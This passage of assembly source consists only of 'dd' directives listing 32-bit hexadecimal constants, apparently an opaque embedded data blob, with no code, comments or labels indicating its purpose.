11C339EAh, 0CE952h, 0D3512A0Dh, 0DC21C4E2h, 97122F02h dd 918110D8h, 0EAC45C97h, 6F0FCE0Fh, 565DAF00h, 160107E8h dd 0E77038E1h, 3E49A2F7h, 0AAB41F00h, 636EF88Ah, 8EA1812h dd 7D6A1B00h, 87A4CC0Eh, 9024DF10h, 44E93C1Fh, 2ADD07F9h dd 0DF1C327Fh, 3E7251E0h, 8600FD61h, 4B52B9CAh, 125B1EACh dd 12FABF67h, 6D520D42h, 108D043Eh, 0E9C0CD25h, 20792619h dd 4C051F00h, 0CA34382Ch, 0B3D008Ch, 0F41AE482h, 0C8EC695Ch dd 5EE07703h, 0F014B50Eh, 8F56F0h, 0F66111A8h, 62D1C010h dd 3A00F8F8h, 0BF29E922h, 54DD44h, 0B6B55821h, 100B0590h dd 81178430h, 0C00DEA61h, 0FCA4EF0Dh, 0DC01C3DDh, 7C72E781h dd 113076F5h, 8C6250F8h, 9A5A403h, 5EA848Dh, 82DF3A02h dd 0C3958061h, 3080EA86h, 4B0664BFh, 22EA6609h, 0FC400015h dd 3753E679h, 63010FC0h, 0FAF53FCBh, 326481EAh, 68E9004Bh dd 0B846BB3h, 200E1F0h, 21FB6F9Bh, 1D5B269h, 0D1192D32h dd 0D31E104Bh, 0BE09C6C1h, 0E7930008h, 0F14C03E6h, 0B77896h dd 0F81F4B97h, 396CF3EDh, 0E1AFD000h, 9538E201h, 39DF19h dd 92FEA9DEh, 2B015C4Ch, 0A7D3D70Ah, 9FDBB54Dh, 367C6CC1h dd 274B188Ch, 0BC287739h, 8C00DE0Dh, 2D5B155Ah, 0A5D48Eh dd 400E949Ch, 18A18D1Fh, 1AD931C0h, 0F2111705h, 207C3064h dd 9089D850h, 430C4C18h, 6713510h, 0AE31B4FDh, 900CA11Fh dd 201DB854h, 0DC63002h, 814D0519h, 7226DC07h, 0E04F2CA6h dd 96219A3Ah, 418501A2h, 909BC416h, 932CD4D5h, 0B8A0D754h dd 0FD05BF12h, 59A89D00h, 7C99AC09h, 33450048h, 517151Ah dd 31C0DDB0h, 3C880DCEh, 0FC140EC3h, 87404197h, 34F35A75h dd 4011A531h, 0B006E304h, 2C16B220h, 30DDC1ABh, 0C7B83918h dd 0C0195528h, 78414E1Dh, 7002E82Ah, 0F4A3A997h, 35BB10C5h dd 0BA36C000h, 74AC02EDh, 1EF61E7Bh, 0C466C0F9h, 0A5DB0192h dd 33789414h, 795200B8h, 0E6D2A138h, 77FD2810h, 0AD170030h dd 0AA354DD9h, 3B609064h, 0A431F130h, 9C08C1A9h, 61C05AD6h dd 11A1B92Ch, 0BF1C4778h, 0F9A7402Fh, 0D51203D9h, 0B26EC903h dd 0E174EFBEh, 0B0D48A16h, 912B158Fh, 0DE099CD9h, 262EB9h dd 4344504Dh, 2E0A75C6h, 53083Eh, 0F417D3A2h, 93FE763Ch dd 4363924h, 412B4B8Ch, 416F0089h, 0FCDDE15Fh, 0F001E48Ah dd 180E6782h, 84438E15h, 5C01BC44h, 83107DA0h, 0A86C26C8h dd 78181837h, 5E79812Dh, 8DC5BA00h, 33EB12B8h, 0AB747729h dd 0AC40CC3Ch, 49271776h, 0BFB6802h, 8FB338A2h, 0D8F120E8h dd 1F7C0A7h, 0F0DA8CA0h, 0D3FD30ABh, 0DC82A2FBh, 0A84C0848h dd 29D33C40h, 1909D2Bh, 7099ABF1h, 382880C5h, 409A243Ah dd 9410C3DEh, 90DC084Ch, 0D610A124h, 30DE7480h, 0A6A132AFh dd 2364286Ch, 89C1D2E0h, 15C4BFF1h, 4D80A00Bh, 82300C63h dd 0A97011D7h, 9BD5022h, 16C58DF0h, 0EB43820h, 841E6779h dd 83802AB6h, 28DF7DC2h, 487AE02Fh, 0C9109CA1h, 94DC04FCh dd 3C901D5Eh, 0C7E3ABA0h, 402C2D18h, 0ECFD7079h, 0AFD1E9C0h dd 80CE4CA1h, 92477A6h, 8E41B48Ah, 9CEC825Ah, 50446070h dd 1D607355h, 6239CB1Dh, 0ED2526C5h, 7AB08FC7h, 589F2h dd 0EC97EAD9h, 72C2C8A7h, 3D011F73h, 9C93EE25h, 0F0D3C6ADh dd 0E3F24A9h, 0C8524EA0h, 8125E6E7h, 0F07CF3C4h, 65006650h dd 61718F4Dh, 16AC2B2h, 0E81ECA1Fh, 0E0A3AE01h, 930092FDh dd 0F709EC74h, 43EDADh, 166082CAh, 1DF2B62Fh, 0F1B88E1Dh dd 0C63C8068h, 0DB620936h, 95100047h, 152E55A4h, 0BCEECCC2h dd 29B8DE04h, 884D0C19h, 48F1028Ah, 0F35C058h, 5492C048h dd 77824h, 15AF3105h, 5016D442h, 0ABACA039h, 80E404B9h dd 0E07D63F0h, 0CC8330C7h, 24705B81h, 0A0102022h, 541A12DEh dd 0A5312C21h, 6C39B433h, 0A0302720h, 8FD9A12Ch, 45C81858h dd 7453E0FAh, 81307830h, 0C0657A50h, 55126208h, 4D7A6BC3h dd 684CD831h, 9D003764h, 2A3FAB02h, 7102FEFCh, 0B084A635h dd 0B75C4848h, 104CB2EDh, 0CE9912Ch, 69467819h, 0B112002Ah dd 357E2039h, 7C006DEDh, 0C108E41Dh, 2936B82h, 0AC671136h dd 704890A1h, 0AE248874h, 5C26E868h, 757D2860h, 234F18F9h dd 0A61C7CE5h, 0B02FC91h dd 4AEAD4BAh, 395080DCh, 0D367A0h, 55AA994Ch, 744E164Dh dd 447190E8h, 8FE03F69h, 4556867Dh, 0F04B52B1h, 1B248500h dd 86AAED64h, 5DCAA100h, 0EB3A6DC3h, 0B4322C97h, 4094C574h dd 39ED6098h, 6F146D51h, 86F85C16h, 0F159AA31h, 0C83F530h dd 33469A2Bh, 0D3008420h, 0F3686152h, 2A5A3F7Fh, 44147466h dd 0A0145832h, 3AB816C9h, 0B4DE8CFDh, 60C659C1h, 0E92A611Eh dd 2014AA78h, 221431DEh, 0A7D513ADh, 60400998h, 98997829h dd 50FACC68h, 0E99A3000h, 0BD110987h, 0B3DE14D0h, 1422343Eh dd 91019A78h, 0C871DA0Dh, 0B4D4DDC7h, 528602B5h, 54160C77h dd 0BA2B8090h, 0D0DF6428h, 0A4D9DE40h, 28907D88h, 6CA010A0h dd 94A0319Ah, 1C907059h, 2CDAB05Ch, 1D24C6F8h, 40ADAA25h dd 9E82B18Bh, 49004BF4h, 125E3B72h, 7A437DA6h, 0C70EABCh dd 0BB18B20Ch, 5471DF80h, 32703D60h, 92B88406h, 2BF00668h dd 28B46CB2h, 0AF8DB4Ch, 90D09B2Ch, 0C5C98D83h, 0EA810011h dd 0AC6322C2h, 8E286DD7h, 4145B449h, 6400F063h, 0C0348F45h dd 9000ED5Fh, 5B7AE95Ch, 7E97BEC2h, 0ADF10643h, 78B068B9h dd 0F47CDCB0h, 0EEA5D380h, 0B83FF009h, 0A9AC09CCh, 1D051081h dd 1638339h, 0C13CD4FCh, 0BF6D37A4h, 0C0AA8B38h, 50482AD4h dd 0D142013Ch, 979252D2h, 0BC9DBF4h, 1519A858h, 5BE83821h dd 315C3554h, 10E6E138h, 6EF5C2Fh, 0C1B05A39h, 971D301Ch dd 715DBE50h, 0D10890AEh, 58A81504h, 0E82E7815h, 0DF1EB300h dd 0E8A5F591h, 6153DC0Ch, 41B4505Fh, 14883058h, 0D6334988h dd 67243039h, 15011191h, 22763D42h, 6705358h, 62D607B3h dd 0A239F5AEh, 74C82DB8h, 0AC208CA8h, 4BF00C15h, 2C48182Ah dd 2EE89052h, 0E4291484h, 2C50649Fh, 1E132413h, 4B30E2D8h dd 0F608931h, 409B0172h, 0BA33D36Bh, 0B05C3420h, 0F1B95260h dd 37942E05h, 6180245Ch, 60DB1ED4h, 0AC20C1E4h, 8B933EB2h dd 0EC233100h, 5BA1A6E7h, 0BC56F18h, 3E626E91h, 860037EBh dd 0DD3B5D10h, 0DF01654Ah, 0E72B94FCh, 473D375h, 57CC0D00h dd 58DCE31h, 69BB3400h, 0E0FEE1E4h, 64A80A3Bh, 9F884560h dd 395685h, 4616FF8Ch, 0EC004D7Eh, 81FE2B12h, 0F8E66188h dd 803D5558h, 4CA71C50h, 0AF84A83Ch, 0A6B60010h, 1FC94D0Ah dd 0EA1E980Eh, 0BBF1B5h, 0A3134E1Bh, 9A26B232h, 44089034h dd 3D604B49h, 33764849h, 7FE5036Ch, 38444A0h, 77AE2D98h dd 1E4C9F01h, 0AD31F152h, 0B115FC22h, 0B501E0DFh, 98275E45h dd 79BAF480h, 0FF0BF900h, 6C76AA07h, 72D4099Dh, 0C0645716h dd 83792660h, 7314Dh, 3FFE8D37h, 7DDABCBFh, 8C9C2B00h dd 0F1A6DB61h, 0DE34029Ah, 0D64E3672h, 8C8B3042h, 0C8109809h dd 4830651h, 0D5AFD010h, 12C60616h, 0BDB61DB1h, 0B4A50F1Ch dd 0F55B0C67h, 78D48258h, 0BFDB4C80h, 34033F93h, 81B87675h dd 3EADD0ABh, 57F10539h, 7076DA8h, 46BFD834h, 0AA1788EBh dd 0E8403C9Ch, 0ECB1AC89h, 63090C2h, 5FB85CA1h, 60828E6h dd 100CA894h, 0D608108Dh, 89E16075h, 59DA5AEDh, 0F3E30900h dd 0F2B38A3Eh, 336200FFh, 0FD230BD1h, 895C497Bh, 9ADE0CB3h dd 1F50C8D4h, 9374A965h, 0B150880Ah, 0DD59DE60h, 59E1D2h dd 56FAE7D8h, 0B00906C3h, 58F8A101h, 1CA443F0h, 14FCBC20h dd 0D4C8EDDBh, 0BA82E0C0h, 0E424FBD9h, 3B0089DEh, 0AAAD682Ah dd 1D180315h, 0B69CF732h, 768838h, 0AE286048h, 1D029AAh dd 9BF70535h, 70228B99h, 0DE40C834h, 39D50E96h, 0A5209853h dd 36799A6Fh, 0C108C530h, 2CA2E896h, 1332FF5h, 94BD2E65h dd 0B77BECB4h, 5B0167EEh, 5A517571h, 0DC2861A8h, 7DA1AE04h dd 0DE2080C1h, 20E9C0B7h, 0D0B1C480h, 88C87700h, 614E03h dd 0D3827ABBh, 0CFD9A99Ah, 0FC0804A7h, 2C2500A8h, 0ABEB87FBh dd 36426000h, 1BCCEABDh, 0CC8AEE34h, 976CD918h, 2140D86Fh dd 9EF9EF54h, 0CD30E771h, 58720083h, 17A3D528h, 937E402Fh dd 0DDFC3B18h, 37435C40h, 0C658B746h, 782068D8h, 2BE03B6Fh dd 273CDE20h, 0A7450067h, 0B5A52A58h, 0DFF43Bh, 840DF3E1h dd 1CA0D7E8h, 951B5418h, 782AF480h, 5D293328h, 81D86110h dd 0D600E01Ah, 0BEBC5807h, 0CEB926Eh, 25542651h, 0CE28C229h dd 0E90680AFh, 719FDB88h, 0AA610670h, 292864F2h, 0CA1E4600h dd 26A0D81Bh, 1F3775B1h, 0BDF48EF1h, 0B89BAC98h, 51F90862h dd 0F6438008h, 1648B481h, 0A41BCC6h, 0C0AA42DEh, 6259DB81h dd 8450402Ah, 60542E43h, 0B7C3792Dh, 2B305AEEh, 0A29A2144h dd 0AE0A454h, 3C2E7B08h, 14238518h, 5AD84136h, 91F1D671h dd 8200F670h, 7FB75CE9h, 0A339C528h, 6CD001EAh, 0B88EA984h dd 896ED088h, 0D207F802h, 81184893h, 0BDD800FDh, 0BECC58EEh dd 0F02FC15h, 0F4D90797h, 5498848Bh, 20464844h, 883E80A5h dd 4349D187h, 62090320h, 0A345BE73h, 8DC1A06Bh, 271B1D39h dd 0AA7241D7h, 8C9D3016h, 0C8DF9CB9h, 9B24889Eh, 2C06F6B8h dd 0D7EA5AA2h, 10C96260h, 90A7C354h, 0EB6BB041h, 2E2AA818h dd 0CA159C03h, 0A7289D0Fh, 1E187A2Fh, 0E9EC0128h, 24A819DBh dd 635980D4h, 0AB9F60DDh, 0AEDA3AD8h, 0AC1DC40Ah, 0E72780A0h dd 0EADFEC8Ch, 0DE400E53h, 0B40C9952h, 5A39ABh, 0AA24F7C2h dd 6AA0472Eh, 91CA5230h, 90F24AE6h, 0B0123244h, 3CB5AF31h dd 165BA285h, 0DBA0D442h, 91582A35h, 3421298Fh, 0C00B0551h dd 0C2FA239Dh, 0C4CB0FF2h, 0D1F8E62Fh, 7900E862h, 17AB24C7h dd 0A2380340h, 53BC3C48h, 0DEC34C31h, 610D3949h, 200CA995h dd 8CAAF803h, 86A40819h, 0DF2FA738h, 54185061h, 0E2084FFh dd 0F11B3BF3h, 0AE1F307Ah, 0C9982E71h, 8626B000h, 35FDDAA0h dd 15D11396h, 24181F8Fh, 0E08B0070h, 0A2A9E799h, 0E8DD552Ah dd 0AF3A480Fh, 8A209562h, 44EBC13h, 7882F507h, 609C49C2h dd 0F88D0880h, 53A9A308h, 1092A77Fh, 3DF02B4Dh, 43EBFA6h dd 8CCFE60h, 0B1170580h, 69C900FDh, 42F0B49Eh, 523BAC47h dd 0EA91000Ah, 152A5188h, 0B9DC006Ah, 65A63E71h, 3FE0C838h dd 83E5963Bh, 0D3663BCEh, 0E195C8ADh, 105401BBh, 8CEB8EE4h dd 68408207h, 76B8DEh, 1DBF38AFh, 0E5A51601h, 5DC5D27Bh dd 3E2D8480h, 0FF90F047h, 0DA8EDF00h, 0D71B5249h, 64F055h dd 0B9BD3E7Ch, 0C1DBEF3h, 0CE58A575h, 40FA970h, 1F895FBh dd 0B8F266A2h, 0D820161Fh, 0C7D70060h, 0F8C1C955h, 0ED01447Fh dd 0BCDBCD67h, 6CC04EEBh, 0DF610114h, 0B98CB2B3h, 1408065h dd 732C680Eh, 5D320045h, 4C2D64CCh, 5C009B56h, 4051E810h dd 37337ADh, 0B4BA6D12h, 65A03EBEh, 220B6ECh, 7545EE11h dd 0ADD500C9h, 0F94A3A2Dh, 0FB00FF5Bh, 444EEF7Fh, 71212Fh dd 8C7363BAh, 0B6019BB8h, 683B1E01h, 0CFFC6715h, 3831DFD5h dd 0C0AE944Bh, 0C2F9B9ACh, 96101204h, 3F5400EAh, 2DAED65Dh dd 9B4E3700h, 0BCE00F90h, 1887FDCh, 0D16A2274h, 60937CF7h dd 0B700F18Ch, 33A8CD08h, 0C7CEB1h, 2F2C867h, 4DA05C46h dd 66002FFEh, 7A4C5843h, 30D15F16h, 6740B2EBh, 0F40C0F3h dd 3B10019h, 0F2D45D35h, 0F7E242F8h, 24F46603h, 8044DCC1h dd 5F1220h, 927CB8C2h, 0CCF3B46Ch, 97CD1D00h, 35047217h dd 0F0D42C5Bh, 3D4D58Ch, 60A07750h, 3A80C238h, 61001896h dd 9856CDE1h, 20732DF0h, 8DE6F544h, 5247DD03h, 0B0AC1A6Eh dd 3F3E7DB8h, 0B70060A3h dd 33A11843h, 3D07D578h, 0F066D85Eh, 5AED0DB0h, 0C5250011h dd 7A4241EFh, 0DC0089F9h, 6C8DB163h, 0BFF264h, 28941A0Eh dd 73C54575h, 2DC19E0Eh, 5DAAE071h, 0C324FEh, 214088D8h dd 0B4D26F16h, 6D387600h, 1CB8F04Fh, 2CA11FCDh, 658A407Dh dd 5336B0D5h, 0AC9F0D2Ch, 5F01E111h, 0D15E1482h, 1B8849F9h dd 0AFB0FF04h, 72001F5Dh, 7B1D6585h, 0A0B594Bh, 0C9A94E64h dd 14805534h, 0B9755177h, 84E0098h, 494B7205h, 0BD77AFCCh dd 0E6781CAEh, 0D110C263h, 0F91900A3h, 9C37C4A0h, 1A05DD4Eh dd 5D19E6EFh, 0AA614EC0h, 0C881305Bh, 0EEB8AF41h, 4F462F05h dd 0FD86D545h, 21D76008h, 4BEEB08Dh, 0FAD2791Ch, 27FF3C41h dd 0E47C2354h, 25DB4001h, 83921A6Ch, 4C164810h, 0A9A0E8E7h dd 1BC60404h, 0A8A45834h, 19733A08h, 30382A59h, 5C00D06Dh dd 0E441F84Bh, 0DD15D7CCh, 881C9732h, 0D13717F9h, 0D4142584h dd 0AB01EE2Dh, 51B4188Eh, 602D3BDEh, 0E825A704h, 0C08104CEh dd 0A400F64Fh, 22686A95h, 0BE495205h, 8C3A32F8h, 5E01DD23h dd 99261707h, 0D088204Bh, 0CBAECEC0h, 57CD0E59h, 1AA0DC54h dd 0E34C2E5Bh, 91A88E51h, 33CB3C9h, 0DA01AD0Ah, 8AB9809Ch dd 5B6053DBh, 58A5BE0Ch, 0C0E6088Ch, 0DB921431h, 2D319134h dd 0F57758ADh, 8E93F0Ch, 95048CB0h, 736052DBh, 1720F162h dd 0DDB9Dh, 1184F699h, 9423CDEh, 0E1CD8130h, 1829B63h dd 0BEA4EEEBh, 81C73664h, 2C239078h, 0EC40CA10h, 7EA2FF7h dd 2252C0DDh, 9DCC624Fh, 6CB84480h, 3492FA06h, 29593807h dd 62C0A799h, 1E51B517h, 0C3BEC360h, 2C25FCAEh, 0D00D848Ah dd 0DB9030CEh, 8B605511h, 1A80F288h, 3B94DB98h, 23630038h dd 0F0AF6AE2h, 363032D8h, 27AA9892h, 9F4600ADh, 730A5845h dd 0D26ED464h, 0C0067178h, 31907632h, 412B5903h, 0A0C8A22Fh dd 0D9315736h, 18B9A041h, 57DB0896h, 0F0C47B60h, 0DB9E1840h dd 0A8027AC1h, 0C4C53A52h, 920FA27h, 0D2399B29h, 0C5A80C90h dd 95278E00h, 1BD817C9h, 0A0DF6A54h, 0EC467420h, 654AE800h dd 0B260435Ch, 6BBF4D04h, 38A928C4h, 53542004h, 0DF00D09Eh dd 4D00F79Ch, 6D1F2305h, 296EFE29h, 80942627h, 0DF5E258h dd 0BA70938Fh, 8071E36Fh, 965EC3CDh, 1CE9E95Fh, 41A572D8h dd 0B7800B5h, 85321E62h, 30AAD0AFh, 5011DB97h, 0E4888360h dd 0DB9F1980h, 1D40D8F3h, 4CC5E86Eh, 0ECDCC0A0h, 6DF4C0C1h dd 0E8207C95h, 9CD90C07h, 4979ADD2h, 0B8082E00h, 9EA30D20h dd 8156628h, 6A132195h, 0DC010826h, 0A4425260h, 1ADF0420h dd 0F883FF2Bh, 59017844h, 0F71B85E6h, 80DC423Fh, 9C92DFh dd 6939FEC8h, 87EA31B7h, 5B419F03h, 0C08A6579h, 18245CE6h dd 50D0BC1Ch, 0F8373260h, 5A706862h, 924D853h, 0B3902712h dd 0EF68F80Fh, 0AAA7CE0Fh, 4AB84F5h, 6C4478h, 267D6D51h dd 47C40D84h, 0ABD34902h, 4B9142DEh, 382E1840h, 4A62A0D1h dd 65A07E20h, 89A2112h, 31C09FACh, 4620B308h, 6962215h dd 83082969h, 0D2008E20h, 23735988h, 252B5AD7h, 74C8B906h dd 0AA419555h, 6C5EE002h, 0EEB304C8h, 62B74632h, 0AB8820CBh dd 37008CEEh, 0AC2E42F9h, 0BEDCA14h, 0F0046E3Fh, 0CE096804h dd 0C1E5882Ch, 0C54ABAA7h, 0D7A88295h, 5CBF7C1Bh, 81C218F8h dd 0AA0EF4F6h, 0B88A5493h, 869936D8h, 370AAC91h, 2380A49Bh dd 0AA60F9D3h, 0E74A45Fh, 4633EEB4h, 893C38B6h, 81EEAC03h dd 0D04B9233h, 0C7F05F4h, 0A2AE4262h, 14182370h, 5AA0AA4Ch dd 299D0108h, 2471F996h, 4E6425E6h, 0C0E588BCh, 136D2B0Bh dd 90258D09h, 0C62090D2h, 0DACE0041h, 9B0D322Eh, 814B4AF2h dd 302AF0CCh, 3BF9A2E6h, 0C67C8713h, 913FA501h, 0D3101C71h dd 0A012880h, 0E6837FCAh, 1604A097h, 4EA3904Fh, 0D334808Bh dd 71FACE4Ah, 0C0382C10h, 0D2328E04h, 0A9840192h, 0B448E727h dd 9A5300BAh, 0B5757195h, 656629C3h, 0A021F408h, 0F169A9Ah dd 0FEB3DC21h, 2881D249h, 3AE76D8Ch, 6F295C07h, 0AD8BF020h dd 7B54B808h, 0D40F5034h, 0DCC8261Eh, 468C2844h, 8320298h dd 1C2D20B4h, 82A6E00h, 77C2B304h, 1B93068Dh, 21A1D20Ch dd 7DF6401h, 8B2CABB8h, 0F2659CC8h, 71501766h, 88B004E5h dd 0C4D8019Bh, 5034BB1Dh, 1D52780Bh, 7BBA0FE4h, 0C8C4E28h dd 0D2081471h, 42249730h, 5D82EC0Ah, 507F5C20h, 90E74B00h dd 0F9B0DCE0h, 0A5D21018h, 0BA1391h, 140A29F2h, 951B0736h dd 94B0ABF4h, 88A6F1Fh, 489918Bh, 0F0816D98h, 0A0D29733h dd 0EE6E13B8h, 269202BBh, 27D341D9h, 825188A4h, 9130AC48h dd 605611DBh, 80ED8893h, 0C5DB991Bh, 6702DAA3h, 1F0874E6h dd 0C4044DA1h, 184560F0h, 2000B09Bh, 0A718A80Eh, 0DE79E11Dh dd 94C914Fh, 1430870Ch, 0E02824F1h, 6324B0C3h, 0D4241CF8h dd 1DF04674h, 0BD016340h, 0F1E7471Eh, 0D4217182h, 0DC815FC7h dd 2244B0D6h, 942238h, 82EF404Bh, 46AE51F4h, 69F0FF0Eh dd 0F84EE099h, 5D7C970h, 33EDC747h, 506F90h, 0CFDD4DCDh dd 2547F95Eh, 18857016h, 782482A8h, 6CC7AC25h, 5426B370h dd 30A74893h, 0ECE611h, 63AFA199h, 3BC56090h, 0EA809C46h dd 89EC051Bh, 7716646Bh, 84AAB80h, 0E937C46Fh, 4649E080h dd 89D0A0A1h, 4DC4B059h, 8A0C1033h, 7029D701h, 1D26EB00h dd 0F123A64Dh, 846E012Fh, 0DA526295h, 10E832AAh, 0E7CBB40h dd 5CA8B316h, 4FB0C6ECh, 8882934Eh, 28247432h, 229462Ch dd 71979A51h, 5A031C65h, 0BCBB9A59h, 0A6B82480h, 0BA1062C8h dd 26BC8129h, 26E3DA64h, 8E46E78h, 2B85D658h, 288CC1F6h dd 881D32Ch, 0C2C05994h, 464631EEh, 0D1225Fh, 59EEBA8Fh dd 90B56163h, 3F967D03h, 4A8E795h, 0EBFB31B1h, 267AC00Dh dd 7A000A92h, 833A1AA5h, 0FC42Bh, 849133E0h, 641659F2h dd 0A626C8E9h, 5A90B8D9h, 0EE09B718h, 6557462Eh, 0AF8C80C4h dd 0D6C0DFEEh, 0E73B3D0Ah, 2664B42Ah, 949A5260h, 116D7123h dd 5A5F01EEh, 0CF2409Ah, 9C45AFCDh, 0DDCC8Ch, 7C0E85A3h dd 0A40DEEB5h, 0E9B99607h, 2730F466h, 4C941E0Ch, 0A825E4C1h dd 0C1A3CC24h, 29BA2418h, 0B0A007Ch, 6AB5E7AFh, 7A4E0F09h dd 40C150E2h, 2329102Ch, 9B2B0070h, 0A3E7AEDAh, 0B03600FDh dd 38E40106h, 0C87AD330h, 46696502h, 42E2346Eh, 120087A0h dd 806F0048h, 2B3EAA28h, 0A6D40702h, 7EEEE80Dh, 67B18D84h dd 0D8A0AC29h, 0A143DE41h, 8AC81A6h, 0F801DC48h, 2921115Eh dd 5CD8CC30h, 0D1E8B069h, 0EDFD098Ch, 2F00962Dh, 0EA580AE8h dd 84166326h, 9962C40Bh, 804DA40h, 1809F88h, 6C49EE5Dh dd 45E83E83h, 4AC20972h, 0C4109E6Ah, 0E18BCFE4h, 1882458Ah dd 6AB12425h, 4F0EE200h, 9470C898h, 0A8F2AA85h, 9458C483h dd 0BE38602h, 812808AAh, 26425D7h, 0C4838A5h, 20BAF876h dd 4DF70008h, 0D226FE4h, 6B5901Eh, 75885C38h, 858280B2h dd 7292E313h, 5DE3440h, 4CA7D078h, 0CA813822h, 84B02652h dd 0D4743BD1h, 591794E4h, 3A9218C1h, 7F32324h, 4067B00Eh dd 8A2596C8h, 11D5412Ch, 29EBE60Ch, 908B7E88h, 0B87F07DAh dd 90DB34A7h, 835EBAC0h, 0C81A8600h, 5C1E45F2h, 2080A0D8h dd 0BBEB2844h, 4E808C8Ch, 0AD040064h, 0FA726045h, 8101A300h dd 2984FB36h, 1A690B5h, 46153178h, 83E6B826h, 0E744F238h dd 4E5001F8h, 55768C04h dd 0B95C2065h, 89B5621h, 0F900A348h, 6CA0B89Dh, 80C94D8Eh dd 0A9F28900h, 60D917C4h, 8D16420Ah, 46769CEAh, 0C7DA00F2h dd 240D1DEAh, 36ECA0DFh, 0EC8081ACh, 0A367E6B0h, 0C801FE31h dd 3FC8858Ah, 222019Ch, 0EC25A67Fh, 0FB9840B9h, 0A779C398h dd 0FCC96928h, 5040805Ah, 5AB2580Bh, 308EA47h, 9EAA3FFBh dd 20FED280h, 25D04102h, 64920344h, 2584698h, 4630EEC1h dd 60E8D167h, 4AEEB98Eh, 92080500h, 0C03040DEh, 99D7204Ch dd 28E14E16h, 62A29C80h, 78828ACDh, 2E00DE68h, 0B4BD0F4Ch dd 0C1248824h, 0AC3D808Ah, 4674E4A4h, 567E00D0h, 836FE89Dh dd 5A11167Ch, 425848B6h, 0A7733080h, 0B87ACF4Bh, 309D4A60h dd 0B9082F98h, 11052023h, 276B008Ch, 0D161DF08h, 45D20065h dd 372A940Bh, 3A0534DEh, 0FA4A6C26h, 46EEAC47h, 99B1683h dd 2475A610h, 586518E2h, 0D671C021h, 0C0F02C19h, 104EA289h dd 342B4DD2h, 9874FB7Bh, 0FD64001Dh, 40D85F71h, 18001077h dd 0D11EBBBDh, 0D857555h, 0D7EA886Bh, 0A1900031h, 6E16507Bh dd 3C20341Bh, 4A1DC4D4h, 2EF01D58h, 57380278h, 8C443262h dd 0DBE0BC90h, 9C6C5080h, 306549A4h, 0E660D164h, 690023E7h dd 2944C31Eh, 1E2A607Ah, 93C481B3h, 9904C808h, 11337E8Ch dd 882520B5h, 2B6F808Dh, 5127D408h, 85570200h, 87D267AFh dd 14092D6h, 0B5CCADB7h, 0F1E32A66h, 9719A515h, 80ED91DCh dd 48F56F95h, 0E0937984h, 0C3F91382h, 0E5C951Dh, 90C79Ch dd 59103641h, 0B0EF9D76h, 0C35344A4h, 0DF601410h, 15C6170Eh dd 1674A6FDh, 0CB7C9001h, 4C00C599h, 6A7BE748h, 14AC424Bh dd 81935C20h, 0B490D703h, 0B3E2DE60h, 690248C9h, 56B5003Ch dd 0FF71B91Ah, 0B80939A6h, 391D4F83h, 3FA03101h, 9948CC86h dd 0F1EA1070h, 6809112h, 0A968E662h, 28468C90h, 969A5002h dd 0EF315D71h, 9A586910h, 7A64F48h, 0FF296CFCh, 34722640h dd 3BC14F08h, 0E72314h, 2430B2F5h, 0E8B2B81Ch, 25D03158h dd 0E11489D4h, 6478F86Ch, 0AF64A288h, 51DB9460h, 966B602Dh dd 9C1600FCh, 0FB3110DBh, 0A305048Bh, 283E44CCh, 0BDA84881h dd 909F820h, 29A79C2Bh, 90322068h, 2560509Eh, 0B2B06DA8h dd 0B5810188h, 47406C38h, 1F7464BCh, 27CCA617h, 0C6D1A009h dd 0AE10734h, 0DBE42153h, 209E7019h, 0C040D0C8h, 8B6D5C32h dd 2AF47800h, 8516620Bh, 1559A90Bh, 0AB9804AFh, 3EDE3D4Eh dd 23EC2FCAh, 0FA873FD7h, 173192BCh, 8806B143h, 0A2D42389h dd 8BEB309Bh, 3A419802h, 0F8CB54EAh, 53BC823Ch, 3213D03Ch dd 6D360500h, 44A7FFF0h, 9F02140Fh, 0DA24ACD7h, 74F43CD0h dd 4F39C981h, 0A4E76824h, 740388F4h, 75C09EECh, 0ED0588B6h dd 0E57F0059h, 0F50D6DB0h, 0C5CF233h, 9CDC0B54h, 233CE0B3h dd 0BEDE0CD3h, 0DFE99FD1h, 3B55D401h, 6B730BB3h, 2C4C5E4h dd 5409C96Ah, 6079DB30h, 62E61080h, 2E3680CFh, 4A389682h dd 6F311608h, 951D0098h, 0A46CADCCh, 62FC050Fh, 0D29DCE52h dd 0ECFBF274h, 137D1570h, 53F5677h, 0D098E6DBh, 636B3674h dd 0E01BD709h, 0C44C0BB9h, 21AF38F8h, 0D12DE700h, 3487A2Fh dd 8F15F3FAh, 9898D2h, 915F24AAh, 4DDAFCh, 0D490F288h dd 0D94F111h, 520B3A00h, 0F85735F5h, 54AA2B60h, 0EEB50188h dd 3887462Ch, 0AD82B004h, 7D0C3AEEh, 8664AE84h, 9F3880F4h dd 152F3EBAh, 0FBD46291h, 0C1E973F4h, 11BC20ECh, 7C2C7213h dd 4281D4C7h, 2C29BFEAh, 56012A23h, 4D71909Ah, 5B88F518h dd 9A7F5Eh, 3721B7BEh, 0FC3D591Ch, 63A20E0Ch, 2F4181C9h dd 0F043A5E2h, 0C89C8FDDh, 0D88EC094h, 0E1345F9h, 0B8C1F190h dd 0CC242A6Ch, 0EDECA36Eh, 0A83CA4B1h, 38CE4BCh, 1E0C18A8h dd 6160EA40h, 82642681h, 10229799h, 8429F274h, 0A0505C94h dd 570A2B23h, 5516DC9Ah, 5C03BCCBh, 1A339A5Fh, 90C082B2h dd 4D39F761h, 0F30D7034h, 68E5246Dh, 80045CC2h, 305752CAh dd 0EB5C68A4h, 47D00B8h, 917E5D73h, 494C0269h, 0D8C9E416h dd 42ED5084h, 0F2682499h, 36521018h, 0CD9B26AAh, 0B4D1C313h dd 8B0C922Ah, 0E020AA41h, 0C54E17C4h, 0A8202026h, 9E522A64h dd 0E3C0108Ch, 405B4284h, 58E1E629h, 78796378h, 6043B8F6h dd 30F2A298h, 2C3E6C82h, 107AAD24h, 448F74h, 9F6B5B04h dd 0D9343C23h, 402FD0C9h, 0BFC19824h, 8FADE891h, 328009C1h dd 9C8B5440h, 1CEC274Bh, 0C01D9E19h, 69FB3E7Eh, 21004AE6h dd 5808BC93h, 0AB9C5643h, 5048F69Ch, 80A6A071h, 63130F7h dd 0B8EE2822h, 28008018h, 0A2B7567Bh, 1B25EBC8h, 38949C24h dd 8900D8F3h, 0D1322AE8h, 8E1AF5h, 0C73ECF5Bh, 1EE45D8Ch dd 0AD58A00h, 2D4E2A95h, 30491261h, 0CE6C00ECh, 0AE102CF1h dd 7A5350C0h, 1D384FAh, 1827DCB8h, 60F524C3h, 1418BB00h dd 5C28BC54h, 520A273Bh, 0EF912C1Dh, 0D8742E80h, 7612461Dh dd 0FEDD4h, 68003620h, 